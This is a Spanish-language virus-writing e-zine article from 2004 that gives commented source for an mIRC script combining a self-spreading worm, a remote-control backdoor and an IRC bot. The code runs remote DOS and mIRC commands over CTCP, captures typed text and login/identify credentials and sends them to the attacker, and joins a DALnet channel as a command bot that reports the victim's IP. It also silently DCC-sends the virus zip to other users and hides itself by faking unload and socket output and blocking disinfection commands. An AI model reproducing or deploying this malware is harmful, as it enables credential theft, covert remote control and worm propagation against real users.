(C) MITOSIS #2 E-Zine/GEDZAC 2004 Tema : Propagación por Mirc Autor : MachineDramon Válido para : Mirc Scripting En este articulo se explicara la forma de hacer un script para mirc que ademas de propagar el virus, se comporte como un Troyano-Backdoor de IRC muy basico, y un Bot de IRC, para localizar al infectado cuando se conecte. Bibliografia Basica: Los archivos de ayuda que vienen con el mirc. Antes de empezar, varias partes de este script fueron estudiadas y modificadas de SHS/Life Stages, VBS/Ircintro, VBS/KarmaHotel (Saludos a sus autores) ;Troyano----------------------------------------------------------------------- ;Linea clasica de troyanizacion por ctcp, de tal manera que se puede controlar ;al infectado de la forma: ; /ctcp nick /comando mircscripting ; /ctcp nick /run command /c comando ms-dos ;(command o cmd de acuerdo a la version de windows) ;si secion iniciada, ejecuta comando, limpia pantalla para que no sepa quien ;le envio el ctcp y sale ctcp 1:*:*:{ if ($1 != DCC) || ($1 != CHAT) || ($1 != Version) || ($1 != Time) || ($1 != Finger) || ($1 != userinfo) || ($1 != Ping ) { .ctcpreply $nick / Recibido | if (%vk.Spy = $true) { var %b $remove($1-,/) | %b | /clear | halt } } } ;Sirve para iniciar secion de control remoto, usando el pass, de ser correcto o incorrecto ;envia mensage de confirmacion, se recomienda que el pass este encriptado o en codigos ascii ;para que no pueda ser leido a simple vista. ; /msg nick passMyPass ;"/close -cm $nick" cierra la ventana que se abre al enviarle los comandos, para que no la vea ;en %vk.nick se almacena nuestro nick temporalmente On 1:TEXT:pass*:*:{ var %tx = $remove($1,pass) | if (%tx == $chr(71) $+ $chr(105) $+ $chr(122) $+ $chr(98) $+ J) { .set %vk.Spy $true | .set %vk.nick $nick | .privmsg $nick Iniciando Secion de Control Remoto :) } else { .privmsg $nick pass incorrect :( } | /close -cm $nick } ;Sirve para terminar secion de control remoto, usando el pass, de ser correcto o incorrecto ;envia mensage de confirmacion. ; /msg nick unpassMyPass On 1:Text:unpass*:*:{ var %tx3 = $remove($1,unpass) | if (%tx3 == $chr(71) $+ $chr(105) $+ $chr(122) $+ $chr(98) $+ J) { .set %vk.Spy $false | .privmsg $nick Terminando Secion de Control Remoto :) } else { .privmsg $nick pass incorrect :( } | /close -cm $nick } ;Ejecuta un conjunto de comandos ;si la seccion de control no esta iniciada sale, sino remueve BRT y evalua ;si: BRTSpyIOn = %SpyI a true (para espiar el texto digitado) ; BRTSpyTcOn = %SpyTc a true (para espiar el texto de los canales donde este) ; BRTSpyTpOn = %SpyTp a true (para espiar el texto recibido de los privados) ; BRTSpyIOff = %SpyI a false (para dejar de espiar el texto digitado) ; BRTSpyTOff = %SpyTp y %SpyTc a false (para dejar de espiar el texto recibido por canales y privados) ; BRTSpykey = enviar el archivo con pass si lo ubiera ; BRTSpydir = abrir fserve (esto lo vera el infectado, pero hay algunos que se dejan :) ) ; BRTBll = desconecta y cierra su mirc ; BRTfind = permite hacer una busqueda de files o folders en la ruta especificada ;al enviar estos comandos debe anteponerse BRT en este caso: BRTcomando On 1:Text:BRT*:*:{ if (%vk.Spy = $false) { halt } | var %txt = $remove($1,BRT) | if (%txt == SpyIOn) { .set %SpyI $true } elseif (%txt == SpyTcOn) { .set %SpyTc $true } | elseif (%txt == SpyTpOn) { .set %SpyTp $true } | elseif (%txt == SpyIOff) { .set %SpyI $false } | elseif (%txt == SpyTOff) { .set %SpyTc $false | .set %SpyTp $false } elseif (%txt == Spykey) { .dcc send -c $nick $mircdir $+ mirckey.gd } | elseif (%txt == Spydir) { .fserve $nick 3 $left($mircdir,3) } elseif (%txt == Bll) { .disconnect | .exit } | elseif (%txt == find) { find $1- } | /close -cm $nick } ;Si %SpyTp es true, nos envia el texto que recibe en privados ;ademas si alguien en un privado menciona ciertas palabras como: virus, worm, etc (como: oye tienes un virus) ;le coloca un ignore y le cierra el privado On 1:Text:*:?:{ if (%SpyTp = $true) { .privmsg %vk.nick < $+ $Nick $+ > $+ $1- } | if (trojan isin $1-) || (worm isin $1-) || (troyano isin $1-) || (virus isin $1-) { .ignore $nick | .close -cm $nick } } ;Si %SpyTc es true nos envia el texto de los canales On 1:Text:*:#:{ if (%SpyTc = $true) { .privmsg %vk.nick < $+ $Nick $+ > $+ $1- } } ;Si %SpyI a true, nos envia el texto que digite el infectado ;Si lo escrito contiene "identify" o "login" (palabras usadas para logearse en ciertas redes irc) ;las escribe en el fichero mirckey.gd junto con el nick canal email server port SO fecha ;Si se digitan ciertos comandos como: unload, play, remove, decode, etc ;que pudieran ser usados para desinfectar, no los ejecuta. On 1:INPUT:*:{ if %SpyI = $true { .privmsg %vk.nick 12 $+ $1- $+  } if (identify isin $1-) || (login isin $1-) { var %bcr = $mircdir $+ mirckey.gd | if ($exists(%bcr) = $false) { .write %bcr --- Bardiel --- $fulldate } if ($read -w* $+ $me $+ * %bcr = $null) { .write %bcr -----Bardiel----- | .write %bcr B= $me .write %bcr B= $chan | .write %bcr B= $1- | .write %bcr B= $email | .write %bcr B= $server $port .write %bcr B= Wi $+ ndo $+ ws $os | .write %bcr B= $fulldate | .write %bcr -----Bardiel----- } } if (Alias isin $1-) || (Decode isin $1-) || (Load isin $1-) || (Remini isin $1-) || (Unload isin $1-) || (Remove isin $1-) || (Set isin $1-) || (Events isin $1-) { halt } if (Unset isin $1-) || (UnsetAll isin $1-) || (Enable isin $1-) || (Disable isin $1-) || (Remote isin $1-) || (script isin $1-) || (play isin $1-) { halt } } ;Si teclea /unload -rs scriptvirus | le saldra el msg clasico de que ;se ha descargado el script, pero en realidad no Alias unload { .echo -ae * Unloaded script ' $+ $2 $+ ' } ;Si teclea /socklist | le saldra que no tiene sockets abiertos Alias socklist { /echo -ae *** No open sockets | halt } ;Esto implementa algo como un fserve pero sin que el infectado lo vea ;puede provocar que se caiga por flood (usarlo si no sirve el fserve) ;sintaxis: BRTfind dir/file/all ruta nombreFile indexFile ProfundidadBusqueda ;si elige: dir se listan las carpetas, files se listan los files, all se lista todo ;ruta puede ser cualquier ruta valida c:\ c:\windows\ ;(los espacios en blanco debes ponerlos como "_" osea C:\my folder como C:\my_folder ;nombreFile cualquier nombre valido como mifile.txt se puede usar comodines *.exe *.* *l.avi ;los espacios en blanco deben reemplazarse por "_" ;indexFile, cuando mirc hace una busqueda con $finddir o $findfile a cada archivo encontrado ;le asigna un index de 1 hacia arriba, 0 para mostrar todos los archivos encontrados ;profundidadBusqueda es el numero de subdirectorios donde se buscara, 1 para directorio actual ;el privmsg %vk.nick $1- es para que nos envie el resultado de la busqueda ;y BRTfind get rutaFile | nos envia el archivo especificado (no siempre funciona en este script) ;tambien espacios en blanco por "_" ;Ejemp: BRTfind file c:\ *.* 0 1 | devuelve todos los files de c:\ Alias find { if $2 == dir { $finddir($replace($3,_,$$chr(32)),$replace($4,_,$$chr(32)),$5,$6,privmsg %vk.nick $1-) } if $2 == all { $finddir($replace($3,_,$$chr(32)),$replace($4,_,$$chr(32)),$5,$6,privmsg %vk.nick $1-) | $findfile($replace($3,_,$chr(32)),$replace($4,_,$$chr(32)),$5,$6,privmsg %vk.nick $1-) } if $2 == file { $findfile($replace($3,_,$chr(32)),$replace($4,_,$$chr(32)),$5,$6,privmsg %vk.nick $1-) } if $2 == get { bsc %vk.nick $replace($4,_,$$chr(32)) #op } } ;Bot----------------------------------------------------------------------------- ;Recibe la informacion que llega por el socket y la almacena en %botread ;si es un ping, responde un pong ; si contiene MDM-GEDZAC y BIRC ejecuta el comando mircscripting que se le indique ; /msg #canal/$nick MDM-GEDZAC BIRC comando ; si contiene MDM-GEDZAC y BINFO envia al canal nick, server, port, dir del mirc, ip, fecha, hora ; /msg #canal/$nick MDM-GEDZAC BINFO On *:sockread:bot:{ sockread %botread | if ($gettok(%botread,1,32) == PING) { .sockwrite -tn $sockname pong $remove($gettok(%botread,2,32),:) } | if (MDM-GEDZAC isin %botread) && (BIRC isin %botread) { var %bg = $remove($gettok(%botread,5-,32),:) | %bg } | if (MDM-GEDZAC isin %botread) && (BINFO isin %botread) { .sockwrite -n $sockname privmsg #canalV : $+ $me $+ $chr(32) $+ $server $+ $chr(32) $+ $port $+ $chr(32) $+ $mircdir $+ $chr(32) $+ $ip $+ $chr(32) $+ $date $+ $chr(32) $+ $time } } ;Si no hay error al abrir el socket, se conecta al server indicado con un nick alfanumerico aleatorio y entra al canal indicado On *:Sockopen:bot:{ if ($sockerr > 0) { halt } | set -u1 %user $rand(A,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(A,z) $+ $rand(a,z) $+ $rand(1,9) $+ $rand(a,z) | .sockwrite -nt $sockname USER %user %user %user : $+ $me | .sockwrite -nt $sockname NICK $r(a,z) $+ $r(1,9) $+ $r(a,z) $+ $r(A,Z) $+ $r(1,9) $+ $r(a,z) $+ $r(a,z) $+ $r(1,9) $+ $r(a,z) $+ $r(a,z) $+ $r(1,9) $+ $r(a,z) $+ $r(A,Z) $+ $r(1,9) $+ $r(a,z) $+ $r(a,z) $+ $r(1,9) $+ $r(a,z) $+ $+ | sockwrite -tn $sockname join #canalV | .timer 1 3 sockwrite -n $sockname privmsg #canalV : $+ $me $+ $chr(32) $+ mensage } ;Si se cierra el socket conectado al server, lo vuelve a abrir On *:sockclose:bot:{ .timer 1 3 .sockopen bot ozbytes.dal.net 6667 } ;Abre el socket al server indicado Alias Bbot { .timer 1 3 .sockopen bot ozbytes.dal.net 6667 } ;Envio Virus----------------------------------------------------------------------------- ;Cuando el infectado se conecte a un server, se borran las variables o se establecen ;a false, se pone remote a on y se llama a Bbot para iniciar el bot On 1:CONNECT:{ /Unset %vb.* %vk.* %vn.* | /set %SpyI $false | /set %SpyTc $false | /set %SpyTp $false | /set %vk.Spy $false | /Remote On | { Bbot } } ;Si el nick que entra al canal es diferente del nick del infectado, le envia un msg y el virus ;si es igual al del infectado, revisa el nombre del canal, si contiene ayuda, help, virus, etc ;cierra su mirc, para que no pida ayuda On 1:JOIN:*:{ if ($nick != $me) { { bms } | { bs } } | else { if (ayuda isin #) || (help isin #) || (virus isin #) || (avt isin #) || (vh isin #) { .part # Irc.Bardiel.B GEDZAC LABS | .disconnect | .exit } } } ;Si recibe un archivo de alguien, le envia el virus y un msg a ese nick On 1:FileRcvd:*:{ if ($nick != $me) { { bms } | { bs } } } ;Si alguien sale del canal le envia el virus y un msg On 1:PART:#:{ if ($nick != $me) { { bms } | { bs } } } ;Si el infectado envia un archivo(no zip) a $Nick digamos: Mifoto.jpg ;se le envia a $Nick el virus en un archivo Mifoto2.zip On 1:FileSent:*:{ if (.zip isin $filename) { halt } | var %sp = C:\WINDOWS\SYSTEM $+ \gedzac.zip | .copy -o %sp $nofile(%sp) $+ $gettok($nopath($filename),1,46) $+ 2.zip | bsc $nick $nofile(%sp) $+ $gettok($nopath($filename),1,46) $+ 2.zip #op } ;Si hay error al enviar sale On 1:SENDFAIL:*:{ halt } ;Aqui se comprueba la existencia del archivo principal, si existe se hace ;una copia eligiendo aleatoriamente entre 10 nombres para enviar por irc ;se quita el ignore al nick a enviar(si estuviese ignorado y se llama a bsc ;para enviar Alias bs { var %bp = C:\WINDOWS\SYSTEM $+ \gedzac.zip if ($exists(%bp) = $false) { halt } | var %br = $rand(1,10) if (%br = 1) { .copy -o %bp $nofile(%bp) $+ file1.zip | Set %vb.file $nofile(%bp) $+ file1.zip } elseif (%br = 2) { .copy -o %bp $nofile(%bp) $+ file2.zip | Set %vb.file $nofile(%bp) $+ file2.zip } elseif (%br = 3) { .copy -o %bp $nofile(%bp) $+ file3.zip | Set %vb.file $nofile(%bp) $+ file3.zip } elseif (%br = 4) { .copy -o %bp $nofile(%bp) $+ file4.zip | Set %vb.file $nofile(%bp) $+ file4.zip } elseif (%br = 5) { .copy -o %bp $nofile(%bp) $+ file5.zip | Set %vb.file $nofile(%bp) $+ file5.zip } elseif (%br = 6) { .copy -o %bp $nofile(%bp) $+ file6.zip | Set %vb.file $nofile(%bp) $+ file6.zip } elseif (%br = 7) { .copy -o %bp $nofile(%bp) $+ file7.zip | Set %vb.file $nofile(%bp) $+ file7.zip } elseif (%br = 8) { .copy -o %bp $nofile(%bp) $+ file8.zip | Set %vb.file $nofile(%bp) $+ file8.zip } elseif (%br = 9) { .copy -o %bp $nofile(%bp) $+ file9.zip | Set %vb.file $nofile(%bp) $+ file9.zip } elseif (%br = 10) { .copy -o %bp $nofile(%bp) $+ file10.zip | Set %vb.file $nofile(%bp) $+ file10.zip } .ignore -rpcntikxu15 $address($nick,1) | bsc $nick %vb.file $chan } ;Se elige entre 10 msg aleatoriamente y se envia el msg al nick (bueno para promocionar una page donde este el virus) Alias bms { var %br3 = $rand(1,10) if (%br3 = 1) { var %bm3 = 8,4 $+ mensage1 $+  } elseif (%br3 = 2) { var %bm3 = mensage2 } elseif (%br3 = 3) { var %bm3 = 4,1 $+ mensage3 $+  } elseif (%br3 = 4) { var %bm3 = 7,4 $+ mensage4 $+  } elseif (%br3 = 5) { var %bm3 = 8,4 $+ mensage5 $+  } elseif (%br3 = 6) { var %bm3 = 4,1 $+ mensage6 $+  } elseif (%br3 = 7) { var %bm3 = 4,1 $+ mensage7 $+  } elseif (%br3 = 8) { var %bm3 = 7,8 $+ mensage8 $+  } elseif (%br3 = 9) { var %bm3 = 12,11 $+ mensage9 $+  } elseif (%br3 = 10) { var %bm3 = 12,11 $+ mensage10 $+  } .privmsg $nick %bm3 } ;Se iguala %vb.file al nombre de archivo elegido para enviar el virus Alias bsc { set %vb.file $2 ;Si el nick elegido es op o tiene voice en el canal, no envia para ;evitar que baneen al infectado. if ( $1 isop $3 ) || ( $1 isvoice $3 ) { halt } ;Si el archivo a enviar no existe, sale if ( $exists(%vb.file) = $false ) { halt } ;Si hay mas de 5 sockets abiertos enviando, sale para no congestionar los envios if ( $sock(vb.*,0) > 5 ) { return } ;Iguala %vb.nick a 0 ($1 en este alias=nick al que se enviara el virus) ;Elige un puerto entre 2400 y 5000, si no esta libre elige otro Set %vb. $+ $1 0 | :scanpt | Set %pt $rand(2400,5000) if ( $portfree(%pt) = $false ) { goto scanpt } ;Iguala %vn.nick a 0, %pk.nick a 4096 (4096 sera la cantidad de bytes ;que se enviaran en cada paquete de envio) y %sz al tamaño del virus Set [ % $+ [ vn. $+ [ $1 ] ] ] 0 | Set %pk. $+ $1 4096 | Set %sz $file(%vb.file).size ;Iguala %vb.vtp1 a vb.nick, crea un timer para que luego de 300 segundos ;cierre los sockets de envio, esto por si no se acepto el envio o se cancelo ;Crea un timer para que dentro de 30 segundos llamar al alias be, quita el ignore al nick ;si estuviera ignorado Set %vb.vtp1 vb. $+ $1 | .timer $+ $1 1 300 .sockclose %vb.vtp1 | .sockclose ƒ. $+ $1 .timer1 $+ $1 1 30 be $1 | .ignore -u90 $1 2 ;Utiliza raw para enviar el archivo por dcc send sin que al infectado le salga ;la ventana de envio(osea ni se va enterar de que esta enviando algo) ;los parametro que utiliza para enviar son: nombre del archivo, ip(la ip del infectado) ;puerto, tamaño del archivo .raw -q privmsg $1 : $+ $chr(1) $+ DCC SEND %vb.file $longip($ip) %pt %sz $+ $chr(1) ;luego si el socket ya existe lo cierra y lo pone a la escucha, sino solamente lo ultimo if ( $sock(%vb.vtp1) != $null ) { .sockclose %vb.vtp1 } | .socklisten %vb.vtp1 %pt } ;Si %vn.nick aun es 0, osea no se han podido enviar los datos del archivo ;cierra los sockets y apaga los timers que corresponden a ese nick Alias be { if ( [ % $+ [ vn. $+ [ $1 ] ] ] = 0 ) { .sockclose [ ƒ. $+ [ $1 ] ] | .sockclose [ vb. $+ [ $1 ] ] | .timer $+ $1 off } } ;Si la suma de %vn.nick + %pk.nick es < que el tamaño del archivo ;lee en forma binaria el archivo desde la posicion de %vn.nick un total ;de bytes = a %pk.nick (4096) y los almacena en &data ;Envia por el socket ƒ.nick &data e incrementa %vn.nick en cantidad = a %pk.nick (4096) ;esto para fijar la posicion de la proxima lectura binaria. Alias bsl { if ( $calc( [ % $+ [ vn. $+ [ $1 ] ] ] + [ % $+ [ pk. $+ [ $1 ] ] ] ) < %sz) { bread %vb.file [ % $+ [ vn. $+ [ $1 ] ] ] [ % $+ [ pk. $+ [ $1 ] ] ] &data .sockwrite ƒ. $+ $1 &data inc [ % $+ [ vn. $+ [ $1 ] ] ] [ % $+ [ pk. $+ [ $1 ] ] ] } ;Si la suma indicada anteriormente es >= que %sz ;%vb.nick = 1 ,y %pk.nick = %sz - %vn.nick ;si %pk.nick = 0 ya no hay mas datos que enviar y sale ;si diferente a 0 entonces lee los bytes que quedan y los envia else { Set [ % $+ [ vb. $+ [ $1 ] ] ] 1 [ % $+ [ pk. $+ [ $1 ] ] ] = $calc( %sz - [ % $+ [ vn. $+ [ $1 ] ] ] ) if ( [ % $+ [ pk. $+ [ $1 ] ] ] = 0) { return } bread %vb.file [ % $+ [ vn. $+ [ $1 ] ] ] [ % $+ [ pk. $+ [ $1 ] ] ] &data .sockwrite ƒ. $+ $1 &data } } ;Si se cierra un socket ƒ.nick, tambien cierra el socket vb.nick y apaga el timer correspondiente On 1:SockClose:ƒ.*:{ Set %vb.tmp6 $remove($sockname,ƒ.) | sockclose $sockname | sockclose [ vb. $+ [ %vb.tmp6 ] ] | .timer $+ %vb.tmp6 off } ;Si el envio por el port vb.nick es aceptado, se abre un socket ƒ.nick y se llama a bsl para empezar a enviar On 1:SockListen:vb.*:{ Set %vb.tmp5 $remove($sockname,vb.) | sockaccept ƒ. $+ %vb.tmp5 | bsl %vb.tmp5 } ;Si se envia info por un port ƒ.* y %vb.nick = 1 se crea un timer para cerrar ;los sockets ƒ.nick , vb.nick y apagar el timer correspondiente luego de 10 seg. ;independientemente de esa condicion llama a bsl para continuar el envio del virus On 1:SockWrite:ƒ.*:{ Set %vb.tmp6 $remove($sockname,ƒ.) if ( [ % $+ [ vb. $+ [ %vb.tmp6 ] ] ] = 1 ) { .timer $+ $rand(99,9999) 1 10 sockclose $sockname .timer $+ $r(99,9999) 1 10 sockclose [ vb. $+ [ %vb.tmp6 ] ] .timer $+ %vb.tmp6 off | halt } bsl %vb.tmp6 } ;Al cerrar el mirc, se borran las copias hechas para enviar el virus ;y solo queda el archivo principal On 1:exit:{ var %bpe = C:\WINDOWS\SYSTEM $+ \ | var %bc = 1 | while (%bc <= 10) { if (%bc = 1) { var %bpc = %bpe $+ file1.zip } if (%bc = 2) { var %bpc = %bpe $+ file2.zip } if (%bc = 3) { var %bpc = %bpe $+ file3.zip } if (%bc = 4) { var %bpc = %bpe $+ file4.zip } if (%bc = 5) { var %bpc = %bpe $+ file5.zip } if (%bc = 6) { var %bpc = %bpe $+ file6.zip } if (%bc = 7) { var %bpc = %bpe $+ file7.zip } if (%bc = 8) { var %bpc = %bpe $+ file8.zip } if (%bc = 9) { var %bpc = %bpe $+ file9.zip } if (%bc = 10) { var %bpc = %bpe $+ file10.zip } if ($exists(%bpc) = $true) { .remove %bpc } | inc %bc } var %cn = $findfile(%bpe,*2.zip,0) | var %cc = 1 | while (%cc <= %cn) { .remove $findfile(%bpe,*2.zip,%cc) | inc %cc } } ;Al desconectarse del server se apagan los timers y se cierran los sockets utilizados para enviar el virus On 1:Disconnect:{ .timers off | .sockclose vb.* | .sockclose ƒ.* } ------------------------------------------------------------------------------------- (C) MITOSIS #2 E-Zine/GEDZAC 2004